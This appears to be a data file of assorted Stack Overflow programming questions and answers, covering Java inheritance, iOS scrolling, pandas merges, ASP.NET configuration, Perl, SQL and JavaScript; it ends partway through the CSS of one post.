123773	0	Is OOP & completely avoiding implementation inheritance possible? <p>I will choose Java as an example, most people know it, though every other OO language was working as well.</p> <p>Java, like many other languages, has interface inheritance and implementation inheritance. E.g. a Java class can inherit from another one and every method that has an implementation there (assuming the parent is not abstract) is inherited, too. That means the interface is inherited and the implementation for this method as well. I can overwrite it, but I don't have to. If I don't overwrite it, I have inherited the implementation.</p> <p>However, my class can also "inherit" (not in Java terms) just an interface, without implementation. Actually interfaces are really named that way in Java, they provide interface inheritance, but without inheriting any implementation, since all methods of an interface have no implementation.</p> <p>Now there was this <a href="http://www.javaworld.com/javaworld/jw-08-2003/jw-0801-toolbox.html" rel="nofollow noreferrer">article, saying it's better to inherit interfaces than implementations</a>, you may like to read it (at least the first half of the first page), it's pretty interesting. It avoids issues like the <a href="http://en.wikipedia.org/wiki/Fragile_base_class" rel="nofollow noreferrer">fragile base class problem</a>. So far this makes all a lot of sense and many other things said in the article make a lot of sense to me.</p> <p>What bugs me about this, is that implementation inheritance means <strong>code reuse</strong>, one of the most important properties of OO languages. Now if Java had no classes (like James Gosling, the godfather of Java has wished according to this article), it solves all problems of implementation inheritance, but how would you make code reuse possible then?</p> <p>E.g. if I have a class Car and Car has a method move(), which makes the Car move. Now I can sub-class Car for different type of cars, that are all cars, but are all specialized versions of Car. Some may move in a different way, these need to overwrite move() anyway, but most would simply keep the inherited move, as they move alike just like the abstract parent Car. Now assume for a second that there are only interfaces in Java, only interfaces may inherit from each other, a class may implement interfaces, but all classes are always final, so no class can inherit from any other class.</p> <p>How would you avoid that when you have an Interface Car and hundred Car classes, that you need to implement an identical move() method for each of them? What concepts for code reuse other than implementation inheritance exist in the the OO world?</p> <p>Some languages have Mixins. Are Mixins the answer to my question? I read about them, but I cannot really imagine how Mixins would work in a Java world and if they can really solve the problem here.</p> <p>Another idea was that there is a class that only implements the Car interface, let's call it AbstractCar, and implements the move() method. Now other cars implement the Car interface as well, internally they create an instance of AbstractCar and they implement their own move() method by calling move() on their internal abstract Car. But wouldn't this be wasting resources for nothing (a method calling just another method - okay, JIT could inline the code, but still) and using extra memory for keeping internal objects, you wouldn't even need with implementation inheritance? (after all every object needs more memory than just the sum of the encapsulated data) Also isn't it awkward for a programmer to write dummy methods like</p> <pre><code>public void move() { abstractCarObject.move(); } </code></pre> <p>?</p> <p>Anyone can imagine a better idea how to avoid implementation inheritance and still be able to re-use code in an easy fashion?</p>
23861017	0	UIScrollView not moving <p>I am trying to scroll the view up when the keyboard covers a "textfield". I have a setter to determine which "textfield" is active (as Apple's documentation instructed). When I try to use method "scrollRectToVisible" nothing happens. I used <code>NSLog</code> to test when the view should and shouldn't move. The rest of the program seems to work fine. I don't understand what I did wrong. Could this be caused by using storyboard with auto layout enabled?</p> <pre><code>if (!CGRectContainsPoint(aRect, activeField.frame.origin) ) { [self.scrollView scrollRectToVisible:activeField.frame animated:YES]; //not working NSLog(@"View Should Move"); } </code></pre> <p>Thanks</p>
17604123	0	how to get blackberry db file? <p>I used <strong>Phonegap</strong> to create a mobile app with HTML and Javascript files. I could upload my files to <strong>phonegap/apps</strong> to create my app online. I did all things well, but BlackBerry requires a signing key and .db file. I have signing keys, as I have the <strong>.csi</strong> and <strong>.csj</strong> files.</p> <p>I tried to get BlackBerry .db file, but <strong>how can I get it?</strong>. </p>
7136170	0	 <p>I know this is old but it kept coming up when I searched on this subject. I was able to get this working by adding a "DataMemberAttribute" attribute to the property. Below is a code example. </p> <pre><code>public partial class SecurityItemCollection { [global::System.Runtime.Serialization.DataMemberAttribute()] public int TotalRecords { get; set; } } </code></pre>
6362223	0	 <p><code>if(!($('textarea').val().length == 0))</code> will work if you have only one <code>textarea</code> element in your page. I think what you were trying to do with that <code>:name</code> selector was select a specific <code>textarea</code> based on its name, in which case you need:</p> <p><code>$('textarea[name=yourName]')</code></p>
4481114	0	which blog software manages multiple language posts, modular privacy, and custom RSS syndication? <p>I'm considering which software to use for a blog that I would like to install in a personal home server (synology). Here are my requirements:</p> <ul> <li><p><strong>Language management</strong>: I'll be writing in different languages, and some entries would be translated in different languages, not always the same. Blog readers should be able to select which languages they can/wish to read. For instance, if they chose English, then all entries which have English translation would appear in English, the remaining appearing in whatever language they were written, or not at all.</p></li> <li><p><strong>RSS customization</strong>: the blog will broach different subjects. I would like the users to be able to customize a RSS syndication which corresponds to their interests, so that the sigal to noise ration in their RSS readers remains bearable. This should probably work with a "Categoriy" or "Tag" system.</p></li> <li><p><strong>sub-blogs</strong>: I would like to have sub-blogs with their own url, which would present a subset of the blog entries. For instance my blog could deal with politics, sports, and myLife, and I could produce the following blog urls: blog.mydomain.tld (shows everything), opinions.mydomain.tld (shows only the politics related posts), sports.mydomain.tld (all entries dedicated to sports). I would also like to theme differently those sub-blogs (i.e. a ball picture for sports.mydomain.tld, etc).</p></li> <li><p><strong>modular privacy</strong>: my intended audience is heterogeneous (family, sets of friends, the internet), and I would like to be able to limit access to certain entries to different subsets of users. To me, the most obvious way to do this would be to define users with a login and password. I would then pool them into groups, and define for each entry if it is private, and if so which groups can read it. I do not necessarily want to share the same things between my neighbors and my school friends.</p></li> </ul> <p>That also brings the issue of RSS syndication: either each user would have its how RSS thread, or then RSS could be category specific and the private entries would appear without content. Perhaps other possibilities exist.</p> <p>These set of features are quite specific. I was thinking of using a blog software to implement them, but perhaps I'm thinking this wrong and I should use a CMS or even a framework?</p> <p>Another point is that this is done for "fun", and although I can program (python, etc), this is not my day job, so it should not require expert level skills or full time investment to implement. A solution which involves me developing a whole new blog application is not adapted to my constraints.</p> <p><strong>EDIT</strong></p> <ul> <li><strong>OpenID</strong>: I like the Stack Overflow login system (check this <a href="http://nsa20.casimages.com/img/2010/12/19/101219101041560868.png" rel="nofollow">screen capture of it</a>), because most readers already have an OpenID, and in any case do not need to create a specific one for my blog. The system I would use should be capable of using the OpenID method of authentication</li> </ul>
27840147	0	Parse Unstructured Data in Shell script/Linux <pre><code>Example log : "some data7.575=tf.some data2.0=tf.some data1.23=tf.some data.." I want to get each TF value as output. i.e. output should be TF=7.575 TF=2.0 TF=1.23 </code></pre> <p>How can I parse this? Using Shell script (preferrable). Unix command or using Java.</p>
34224357	0	 <p>This is <a href="http://jsfiddle.net/catch_shailendra/4mtyu/1033/" rel="nofollow">working fiddle</a> of your code what is wrong with your code is you open a map on window load by <code>initMap( $( '.map' ) );</code> which run <code>google.maps.event.addDomListener( window, 'load', function()</code> and later you call same function on click that not make any sense , because this line register window load event to run function inside it's block </p> <p>and appending new map in existing map also not working, that's all hope This may help </p> <p>it's not complete code just a idea how this will work </p>
39440214	0	 <p>This might not give the same performance as an UNION but I think this is what you are looking for</p> <p>You need to create a view:</p> <pre><code>create view mutex as select i from (select 0 union select 1)sq (i) </code></pre> <p>Now you can use this view to get your desired results as:</p> <pre><code>select coalesce(a.A,b.B),coalesce(a.coll1,b.coll1),coalesce(a.coll2,b.coll2),coalesce(a.coll3,b.coll3) from mutex left join TABLE_A as a on i =0 left join TABLE_B as b on i =1 </code></pre> <p>Note: Instead of a mutex view, you can also use a table that will have these 2 rows</p>
24064661	0	 <p><code>requirejs</code> has some magic arguments that you can request - among them is <a href="https://github.com/jrburke/requirejs/blob/19a98167858db65342a269ba76f06e3be152210e/require.js#L584-597" rel="nofollow"><code>module</code></a>:</p> <pre><code>define(["module", "other", "dependencies"], function(module, other, deps) { var whereAmI = module.uri; }); </code></pre>
22986538	0	 <p>With David Fritsch answer I get to do a encrypted password as Joomla does:</p> <pre><code>&lt;?php define( '_JEXEC', 1 ); define('JPATH_BASE', dirname(__FILE__) );//this is when we are in the root define( 'DS', DIRECTORY_SEPARATOR ); require_once( JPATH_BASE .DS.'includes'.DS.'defines.php' ); require_once( JPATH_BASE .DS.'includes'.DS.'framework.php' ); $mainframe =&amp; JFactory::getApplication('site'); $mainframe-&gt;initialise(); jimport('joomla.user.helper'); $password = "test"; echo "&lt;strong&gt;Password: &lt;/strong&gt;" . JUserHelper::hashPassword($password); ?&gt; </code></pre> <p>Note that you have to store the file in joomla root directory, or change JPATH_BASE.</p>
19589215	0	am using ScratchPadView for iphone app when am taking screenshot on scratchpad i have written some thing but its not showing the content <pre><code> UIGraphicsBeginImageContext(self.bounds.size ); [self.layer renderInContext:UIGraphicsGetCurrentContext()]; UIImage *currentScreen = UIGraphicsGetImageFromCurrentImageContext(); UIGraphicsEndImageContext(); </code></pre> <p>here am unable get the screenshot of updated scratchpad something done on scratchpad but it not showing in my screenshot ![Scratchpad screenshot][1]</p>
30193088	0	Rxjava, how to design an Observable that has to wait for another Observable <p>I'm building an Android app, and new to Rxjava, having a beginner's question: I have an Observable that should emit something straightaway if a condition is met. Otherwise, it has to pause, then trigger another Observable, and wait for that second Observable to emit the second thing. Once the second thing is emitted, it (the first Obserable) should continue and emit its object.</p> <p>Should the 2nd Observable be placed inside 'call' function of the 1st Observable?</p> <p>If this question sounds vague, pardon me since I'm not even sure how to design the code. </p>
4363941	0	Asp.net - <customErrors mode="Off"/> error when trying to access working webpage <p>I have created an asp.net webpage and have uploaded it onto a webserver. However when I try to view the page remotely, I get errors about the customerror tag in the web.config file. The page works locally with no errors or warnings. Also if I upload the page as a .html file, I can view it fine remotely. I have seen a lot of other people with this error, but the 'solutions' just say to change the customErrors tag to 'Off', which I have done and does not work, do you know is there an issue with the webserver or what could be the problem here? </p> <p><strong>Here is the error page:</strong></p> <blockquote> <p>Server Error in '/' Application. Runtime Error Description: An application error occurred on the server. The current custom error >settings for this application prevent the details of the application error from being >viewed remotely (for security reasons). It could, however, be viewed by browsers running >on the local server machine.</p> <p>Details: To enable the details of this specific error message to be viewable on remote >machines, please create a tag within a "web.config" configuration file >located in the root directory of the current web application. This tag >should then have its "mode" attribute set to "Off".</p> </blockquote> <pre><code>&lt;configuration&gt; &lt;system.web&gt; &lt;customErrors mode="Off"/&gt; &lt;/system.web&gt; &lt;/configuration&gt; </code></pre> <blockquote> <p>Notes: The current error page you are seeing can be replaced by a custom error page by >modifying the "defaultRedirect" attribute of the application's >configuration tag to point to a custom error page URL.</p> </blockquote> <pre><code>&lt;configuration&gt; &lt;system.web&gt; &lt;customErrors mode="RemoteOnly" defaultRedirect="mycustompage.htm"/&gt; &lt;/system.web&gt; &lt;/configuration&gt; </code></pre> <p><strong>And here is my web.config file:</strong></p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;configuration&gt; &lt;system.web&gt; &lt;customErrors mode="Off"/&gt; &lt;/system.web&gt; &lt;system.web&gt; &lt;compilation debug="true"/&gt; &lt;authentication mode="None"/&gt; &lt;/system.web&gt; &lt;/configuration&gt; </code></pre>
35531526	0	 <p>Wikipedia has a nice <a href="https://en.wikipedia.org/w/api.php?action=help&amp;modules=query%2Bgeosearch" rel="nofollow">Geo Search API</a> that will let you search for nearby pages: </p> <p><a href="https://en.wikipedia.org/w/api.php?action=query&amp;list=geosearch&amp;gsradius=10000&amp;gspage=Berlin&amp;gslimit=500&amp;gsprop=type|name|dim|country|region|globe&amp;format=json" rel="nofollow">https://en.wikipedia.org/w/api.php?action=query&amp;list=geosearch&amp;gsradius=10000&amp;gspage=Berlin&amp;gslimit=500&amp;gsprop=type|name|dim|country|region|globe&amp;format=json</a></p> <pre><code>{ "batchcomplete": "", "query": { "geosearch": [ ... { "pageid": 391156, "ns": 0, "title": "Berlin State Opera", "lat": 52.516666666667, "lon": 13.395, "dist": 789.4, "primary": "", "type": "landmark", "name": "", "dim": 1000, "country": "DE", "region": "BE" }, ... { "pageid": 1005900, "ns": 0, "title": "Berlin Zoological Garden", "lat": 52.508333333333, "lon": 13.3375, "dist": 3237.1, "primary": "", "type": "landmark", "name": "", "dim": 500, "country": "DE", "region": "BE" }, ... </code></pre> <p>You can use <code>gspage</code> to search using the title of any Wikipedia article <a href="https://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style/Dates_and_numbers#Geographical_coordinates" rel="nofollow">with geographic coordinates</a>. You'll see some geotagged historical events, landmarks, and other features, so you can add <code>gsprop=type</code> to add properties to help you filter articles you aren't interested in.</p> <p>A few notes:</p> <ul> <li><p>The API can (currently) only return a maximum of 500 items that are within a 10,000 meter radius of the point you are searching. You may want to try a series of more narrow searches or using a small bounding box (with the <code>gsbbox</code> parameter) if you don't get everything you want.</p></li> <li><p>Each language of Wikipedia has its own API endpoint. You can try the <a href="https://de.wikipedia.org/w/api.php?action=query&amp;list=geosearch&amp;gsradius=10000&amp;gspage=Berlin&amp;gslimit=500&amp;gsprop=type|name|dim|country|region|globe" rel="nofollow">same query on the German language Wikipedia</a> and you may see slightly different results.</p></li> <li><p>Wikidata has extensive data across languages with a <a href="https://query.wikidata.org/" rel="nofollow">SPARQL interface</a>, but it doesn't support geo coordinate searches (<a href="https://phabricator.wikimedia.org/T123565" rel="nofollow">yet</a>). Someday, you may be able to use Wikidata to find items based on their location (<a href="https://www.wikidata.org/wiki/Property:P625" rel="nofollow">P625</a>).</p></li> </ul>
22672108	1	merging in pandas vs merging in R <p>I'm afraid I do not quite understand the merging capabilities of pandas, although I much prefer python over R for now.</p> <p>In R, I have always been able to merge dataframes very easily as follows:</p> <pre><code>&gt; merge(test,e2s, all.x=T) Gene Mutation Chromosome Entrez 1 AGRN p.R451H chr1 375790 2 C1orf170 p.V663A/V683A chr1 84808 3 HES4 p.R44S chr1 57801 4 ISG15 p.S83N chr1 9636 5 PLEKHN1 p.S476P/S511P/S563P/S76P chr1 84069 </code></pre> <p>However, I have been unable to reconstruct this in pandas with merge(how="left,right,inner,outer").. For example:</p> <pre><code>Outer yields a union, which makes sense: x = test.merge(e2s, how="outer") In [133]: x.shape Out[133]: (46271, 4) </code></pre> <p>But inner yields an empty dataframe, even though <code>Entrez_Gene_Id</code> has been merged successfully:</p> <pre><code>In [143]: x = test.merge(e2s, how="inner") In [144]: x Out[144]: Empty DataFrame Columns: [Gene, Mutation, Chromosome, Entrez_Gene_Id] Index: [] [0 rows x 4 columns] </code></pre> <p>The intersection should contain one row with the <code>gene : HES4</code>. Is there some sort of string matching I need to turn on for this?:</p> <p>e2s:</p> <pre><code>57794 SUGP1 57795 BRINP2 57796 DKFZP761C1711 57798 GATAD1 57799 RAB40C 57801 HES4 57804 POLD4 57805 CCAR2 57817 HAMP </code></pre> <p>test:</p> <pre><code> Gene Mutation Chromosome 0 PLEKHN1 p.S476P/S511P/S563P/S76P chr1 1 C1orf170 p.V663A/V683A chr1 2 HES4 p.R44S chr1 3 ISG15 p.S83N chr1 4 AGRN p.R451H chr1 5 RNF223 p.P242H chr1 </code></pre> <p><strong>Update:</strong></p> <p>As far as I know the columns are labelled so that they should merge fine, I only want to merge by the <code>Gene</code> column and keep all test rows:</p> <pre><code>In [148]: e2s.columns Out[148]: Index([u'Gene', u'Entrez_Gene_Id'], dtype='object') In [149]: test.columns Out[149]: Index([u'Gene', u'Mutation', u'Chromosome'], dtype='object') </code></pre> <p>This was done by explicitly renaming the dataframes:</p> <pre><code>e2s.rename(columns={"Gene":u'Gene',"Entrez_Gene_Id":u'Entrez_Gene_Id'}, inplace=True) </code></pre> <p>to dict:</p> <pre><code>{u'Chromosome': {0: u'chr1', 1: u'chr1', 2: u'chr1', 3: u'chr1', 4: u'chr1', 5: u'chr1'}, u'Gene': {0: u'PLEKHN1', 1: u'C1orf170', 2: u'HES4', 3: u'ISG15', 4: u'AGRN', 5: u'RNF223'}, u'Mutation': {0: u'p.S476P/S511P/S563P/S76P', 1: u'p.V663A/V683A', 2: u'p.R44S', 3: u'p.S83N', 4: u'p.R451H', 5: u'p.P242H'}} {u'Entrez_Gene_Id': {14118: u'SUGP1', 14119: u'BRINP2', 14120: u'DKFZP761C1711', 14121: u'GATAD1', 14122: u'RAB40C', 14123: u'HES4', 14124: u'POLD4', 14125: u'CCAR2', 14126: u'HAMP'}, u'Gene': {14118: 57794, 14119: 57795, 14120: 57796, 14121: 57798, 14122: 57799, 14123: 57801, 14124: 57804, 14125: 57805, 14126: 57817}} </code></pre>
21907107	0	 <p>I think it's wrong argument type, it should be: <code>include Geolocalizable</code> </p>
2718796	0	 <p>This sounds a lot like an <code>SFAuthorizationPluginView</code>.</p> <p>Apple has an API for you to add your own authentication methods. Here is some sample code to get started.</p> <p><a href="http://developer.apple.com/mac/library/samplecode/NameAndPassword/Introduction/Intro.html" rel="nofollow noreferrer">http://developer.apple.com/mac/library/samplecode/NameAndPassword/Introduction/Intro.html</a></p>
15659079	0	 <p>Your <code>booking</code> url takes one parameter as <code>course_code</code>, hence you are getting error.</p> <p>You should update the line <code>{% url 'booking' %}</code> appropriately to pass some <code>course_code</code> to the url.</p> <p>So you need to update it with something like <code>{% url 'booking' course_code %}</code>, here I assume to have <code>course_code</code> parameter available in template, you can change it according to your code.</p>
1444659	0	 <p>It all depends on what _repository.ToList() is doing under the covers. You can force "eager" fetching of your collections via HQL syntax similar to the following:</p> <pre><code>"from Parent inner join fetch Children" </code></pre> <p>HQL statements are meant to be flexible, and so they tend to ignore your collection mapping and join strategies defined either fluently or in the hbm xml files.</p> <p>You should now see only a single query executed against the database.</p>
36288004	0	 <p>If you want to write something generic, you would still need to locate the next sibling tag/text node with <code>next_sibling</code> or <code>find_next_sibling</code>.</p> <p>Here is the code that would handle both cases - when there is an element after the label and the text node:</p> <pre><code>soup = BeautifulSoup(html, "html.parser") for label in soup.find_all("span", class_="pl"): value = label.find_next_sibling("span", class_="attrs") value = label.next_sibling.strip() if not value else value.get_text(strip=True) label = label.get_text(strip=True).strip(":") print(label, value) </code></pre> <p>Prints:</p> <pre><code>Director James Actor Tom Countries USA Language English </code></pre>
2019701	0	What is a quick way to run a single script to automatically install missing modules using only Perl core? <p>I inherited a project which is supposed to be able to be deployed to other servers. This project has a number of simple module dependencies which however might not be present on all target machines.</p> <p>As such I'd like to be able to run a single command line script that checks which Perl modules are installed and tries to automatically install missing ones via CPAN.</p> <p>Since this should be very basic (i.e. needing to install stuff to run the module installer would defeat the point) said script should only use Perl 5.8.8 core modules.</p> <p>Does something like that exist already or would i need to write it myself?</p>
39936407	0	 <p>You've put your XML traversal inside a string. That traversal won't happen if it's not actual javascript. Additionally, moment.js will try to parse that literal string as a date, NOT the value from that traversal.</p> <pre><code>'x[i].getElementsByTagName("Date")[0].childNodes[0].nodeValue' </code></pre> <p>You need to unquote your traversal to get its value, then feed that to moment.js.</p> <pre><code>var utcDate = moment.utc(x[i].getElementsByTagName("Date")[0].childNodes[0].nodeValue, 'DD/MM/YYYY HH:mm'); </code></pre>
4133771	0	 <p>You don't have to capture the <code>Horsie</code> or the <code>Birdie</code>.</p> <pre><code>s/Horsie(Doggie)Birdie/$1/g; </code></pre> <p>A similar thing should work for Javascript as well. This is probably as efficient as it gets, and at least as fast as using look-around assertions; although you should benchmark it if you want to know for sure. (The results, of course, will depend on the horsies, doggies and birdies in question.)</p> <p>Mandatory disclaimer: you should know <a href="http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454">what happens</a> when you use regular expressions with HTML...</p>
1815391	0	 <p>The idea is to use following fact which is true for integral operation:</p> <p><code>a*b &gt; c</code> if and only if <code>a &gt; c/b</code></p> <p><code>/</code> is integral division here.</p> <p>The pseudocode to check against overflow for positive numbers follows:</p> <p><strong>if (a > max_int64 / b) then "overflow" else "ok"</strong>.</p> <p>To handle zeroes and negative numbers you should add more checks.</p> <p>C code for non-negative <code>a</code> and <code>b</code> follows:</p> <pre><code>if (b &gt; 0 &amp;&amp; a &gt; 18446744073709551615 / b) { // overflow handling }; else { c = a * b; } </code></pre> <p>Note: </p> <pre><code>18446744073709551615 == (1&lt;&lt;64)-1 </code></pre> <p>To calculate carry we can use approach to split number into two 32-digits and multiply them as we do this on the paper. We need to split numbers to avoid overflow.</p> <p>Code follows:</p> <pre><code>// split input numbers into 32-bit digits uint64_t a0 = a &amp; ((1LL&lt;&lt;32)-1); uint64_t a1 = a &gt;&gt; 32; uint64_t b0 = b &amp; ((1LL&lt;&lt;32)-1); uint64_t b1 = b &gt;&gt; 32; // The following 3 lines of code is to calculate the carry of d1 // (d1 - 32-bit second digit of result, and it can be calculated as d1=d11+d12), // but to avoid overflow. // Actually rewriting the following 2 lines: // uint64_t d1 = (a0 * b0 &gt;&gt; 32) + a1 * b0 + a0 * b1; // uint64_t c1 = d1 &gt;&gt; 32; uint64_t d11 = a1 * b0 + (a0 * b0 &gt;&gt; 32); uint64_t d12 = a0 * b1; uint64_t c1 = (d11 &gt; 18446744073709551615 - d12) ? 1 : 0; uint64_t d2 = a1 * b1 + c1; uint64_t carry = d2; // needed carry stored here </code></pre>
39428224	0	 <p>Assuming you are using <code>WPF</code> try to reading this: <a href="http://stackoverflow.com/questions/847752/net-wpf-remember-window-size-between-sessions">.NET WPF Remember window size between sessions</a></p> <p>Assuming you are using <code>winForms</code>: <a href="http://www.codeproject.com/Articles/15013/Windows-Forms-User-Settings-in-C" rel="nofollow">http://www.codeproject.com/Articles/15013/Windows-Forms-User-Settings-in-C</a></p> <p>I think these articles will be a good starting point. Good Luck:)</p>
21107852	0	Change the column label? e.g.: change column "A" to column "Name" <p>Can anyone tell me how to change the column label? </p> <p>For example, I want to change Column "A" to Column "Name" in <code>Excel</code>.</p>
35612931	1	Python CSV joining columns <p>I am trying to make a new columnn with conditional statements utilizing Pandas Version 0.17.1. I have two csv's both about 100mb's in size.<br> What I have:</p> <p>CSV1:</p> <pre><code> Index TC_NUM 1241 1105.0017 1242 1105.0018 1243 1105.0019 1244 1105.002 1245 1105.0021 1246 1105.0022 </code></pre> <p>CSV2:</p> <pre><code>KEYS TC_NUM UXS-689 3001.0045 FIT-3015 1135.0027 FIT-2994 1140.0156 FIT-2991 1910, 1942.0001, 3004.0004, 3004.0020, 3004.0026, 3004.0063, 3004.0065, 3004.0079, 3004.0084, 3004.0091, 2101.0015, 2101.0016, 2101.0017, 2101.0018, 2101.0050, 2101.0052, 2101.0054, 2101.0055, 2101.0071, 2101.0074, 2101.0075, 2206.0001, 2103.0001, 2103.0002, 2103.0009, 2103.0011, 3000.0004, 3000.0030, 1927.0020 FIT-2990 2034.0002, 3004.0035, 3004.0084, 2034.0001 FIT-2918 3001.0039, 3004.0042 </code></pre> <p>What I want:</p> <pre><code> Index TC_NUM Matched_Keys 1241 1105.0017 FIT-3015 1242 1105.0018 UXS-668 1243 1105.0019 FIT-087 1244 1105.002 FIT-715 1245 1105.0021 FIT-910 1246 1105.0022 FIT-219 </code></pre> <p>If the TC_NUM in CSV2 matches the TC_NUM from CSV1, it prints the key in a column on CSV1</p> <p>Code:</p> <pre><code>dftakecolumns = pd.read_csv('JiraKeysEnv.csv') dfmergehere = pd.read_csv('output2.csv') s = dftakecolumns['KEYS'] a = dftakecolumns['TC_NUM'] d = dfmergehere['TC_NUM'] for crows in a: for toes in d: if toes == crows: print toes dfmergehere['Matched_Keys'] = dftakecolumns.apply(toes, axis=None, join_axis=None, join='outer') </code></pre>
28113938	0	 <p>Your code should look something like this,</p> <pre><code>&lt;?php $items_extended = array("1. \\Device\\NPF_{1AAAAA99-7933-4CBC-AF26-2A1C1394BD94} (VirtualBox Host-Only Network)", "2. \\Device\\NPF_{2BBBBB88-75BB-4CD0-970A-36430287C245} (Wireless Network Connection 6)", "3. \\Device\\NPF_{3CCCCC77-8469-4445-A2ED-9C0FDDBA1C3D} (Wireless Network Connection 7)", "4. \\Device\\NPF_{4EEEEE66-2C9D-4D47-B7EA-8A20A40A149B} (Local Area Connection)"); $items = array(); foreach($items_extended as $key =&gt; $value){ preg_match('#\((.*?)\)#', $value, $match); $items[($key + 1)] = $match[0]; } ?&gt; </code></pre>
7831503	0	Managing two tableviews in a single class <p><strong>How to access two or more tableViews in a single class with tabledatasource and tabledelegates?</strong></p>
40598603	0	 <p>Well, you defintitely need a ETL tool then and preferably SSIS. First it will drastically improve your transfer rates while also providing robust error handling. Additionally you will have to use lookup transforms to ensure duplicates do not enter the sytsem. I would suggest go for Cache Connection Manager in order to perform the look-ups. </p> <p>In terms of design, if your source system (OurDB) is having a primary key say recId, then have a column say source_rec_id in your InterfaceDB table. Say your first run has transferred 100 rows. Now in your second run, you would then need to pick 100+1th record and move on to the next rows. This way you will have a tracking mechanism and one-to-one correlation between source system and destination system to understand how many records have got transferred, how many are left etc.</p> <p>For best understanding of SSIS go to <a href="https://channel9.msdn.com/Search?term=ssis#ch9Search&amp;lang-en=en" rel="nofollow noreferrer">Channel 9 - msdn - SSIS</a>. Very helpful resource.</p>
767774	0	 <p>If you sometimes need an expression and sometimes need a delegate, you have 2 options:</p> <ul> <li>have different methods (1 for each)</li> <li>always accept the <code>Expression&lt;...&gt;</code> version, and just <code>.Compile().Invoke(...)</code> it if you want a delegate. Obviously this has cost.</li> </ul>
25934148	0	SAS: Table name with too many characters <p>SAS has a 32 character limit for table- and column-names. I have a scenario where I want to select from Table A and join with Table B (where Table B has a name above 32 characters). If I try to write this in PROC SQL, I get an error saying that Table B has a name exceeding 32 characters. </p> <p>Anyone know how I can get arround this?</p>
5715452	0	Can I publish another site's image as it is mine with htaccess mod_rewrite? <p>I know question seems little scamy but I couldn't find a better way to ask.</p> <p>I have few websites and there are lot of images that are common. So I decided to publish common files from one source not to use more disc space. But I also don't want visitors to know it and want to show all contents publishing from own domain.</p> <p>Can I get an image from <a href="http://domain2.com/image.jpg" rel="nofollow">http://domain2.com/image.jpg</a> by requesting <a href="http://domain1.com/image.jpg" rel="nofollow">http://domain1.com/image.jpg</a> ? I tried some combinations but couldn't succeed!</p> <p>Thank you!</p>
4262193	0	 <p>You need to convert the values to Number, there are plenty of ways to do it:</p> <pre><code>var test1 = +window.prompt("Number1"); // unary plus operator var test2 = Number(window.prompt("Number2")); // Number constructor var test3 = parseInt(window.prompt("Number3"), 10); // an integer? parseInt var test4 = parseFloat(window.prompt("Number4")); // parseFloat </code></pre>
23358967	0	Sorting hash of hashes in perl using a Dumper <p>I have a hash of hashes like this:</p> <pre><code>%hash = { car =&gt; { '10' =&gt; 'y', '11' =&gt; 'y', '12' =&gt; 'y', '13' =&gt; 'y' }, bus =&gt; { '10' =&gt; 'y', '11' =&gt; 'y', '12' =&gt; 'y', '13' =&gt; 'y' }, tr =&gt; { '10' =&gt; 'y', '11' =&gt; 'y', '12' =&gt; 'y', '13' =&gt; 'y' } } </code></pre> <p>How can I can in PERL to print this hash of hashes (using Dumper) where the keys of each section are sorted (10,11,12,13,14...) in the above order?</p> <p>Thanks in advance,</p> <p>Miki</p>
417078	0	ASP.NET - how to stop unrequired server validation <p>I have used ValidatorEnable to disable a RequiredFieldValidator in javascript. However on postback the control being validated by the validator is still validated ... even though I disabled the validator on the client.</p> <p>I understand why this is happening since I've only disabled the client validation ... however is there a nice way to determine that I've disabled the client validation and to then disable the server validation on postback?</p>
40145387	0	this.style.background is returning wrong value <p>I am trying to create an RGB color guessing game. The premise is that each time someone clicks on a div, the function should retrieve it's color value and match it with the random color value(pre-selected) out of a given number of color values.</p> <p>Now, the game has two difficulty levels. Easy and hard. The code for the two levels is almost same, the number of color divs in easy are 3, while in the case of hard, the number of color divs is 6.</p> <p>However, while in easy mode, the function is retrieving a color value which belongs to none of the three divs. In fact, it is returning the background color value.</p> <p>Here is the code</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code> var colors = randomColors(6); var easyColor = []; var squares = document.querySelectorAll(".square"); function color() { var a = Math.floor(Math.random()*250); var b = Math.floor(Math.random()*250); var c = Math.floor(Math.random()*250); return "rgb("+ [(a),(b),(c)].join(', ') + ")"; } function randomColors(num) { var arr = []; for(var i =0; i &lt; num; i++) { arr.push(color()); } return arr; } // Tried to generate different set of colors for easy mode. Still working on it. for(var x = 0; x &lt; 3; x++) { easyColor[x] = color(); } var easyRandomColor = easyColor[Math.floor(Math.random()*easyColor.length)]; // selecting hard difficulty works same as playing again, hence the reload() document.getElementById("hard").addEventListener("click", function() { window.location.reload(); }); document.getElementById("reset").addEventListener("click", function() { window.location.reload(); }); var squareColor; // setting up the easy level of the game document.getElementById("easy").addEventListener("click", function() { document.getElementById("header").style.background = "#232323"; for(var y = 0; y &lt; 3; y++) { squares[y].style.background = easyColor[y]; } for(var z = 3; z &lt; 6; z++) { squares[z].style.background = "#232323"; } easyRandomColor = easyColor[Math.floor(Math.random()*easyColor.length)]; document.getElementById("guess").textContent = easyRandomColor; // setting up the background colors of easy level squares for(var j = 0; j &lt; easyColor.length; j++) squares[j].addEventListener("click", function() { squareColor = this.style.background; console.log(squareColor, easyRandomColor); if(squareColor === easyRandomColor) { document.getElementById("header").style.background = name; document.getElementById("display").textContent = "Correct!"; document.getElementById("reset").textContent = "Play again?"; for(var k = 0; k &lt; easyColor.length; k++) { squares[k].style.background = name; } } else{ this.style.background = "#232323"; document.getElementById("display").textContent = "Try again."; } }); document.getElementById("easy").classList.add("selected"); document.getElementById("hard").classList.remove("selected"); }); var randomColor = colors[Math.floor(Math.random()*colors.length)]; //changing the RGB in h1 to rgb of one the squares document.getElementById("guess").textContent = randomColor; //assigning colors to the squares and adding the click event for(var j = 0; j &lt; squares.length; j++) { squares[j].style.background = colors[j]; squares[j].addEventListener("click", function() { var name = this.style.background; // console.log(name, randomColor); if(name === randomColor) { document.getElementById("header").style.background = name; document.getElementById("display").textContent = "Correct!"; document.getElementById("reset").textContent = "Play again?"; for(var k = 0; k &lt; squares.length; k++) { squares[k].style.background = name; } } else{ this.style.background = "#232323"; document.getElementById("display").textContent = "Try again."; } }); }</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>body { background-color: #232323; margin: 0; } html { margin: 0; padding: 0; } .square { width: 30%; /*background: purple;*/ padding-bottom: 30%; float: left; margin: 1.66%; transition: 0.2s ease-in; border-radius: 6%; } 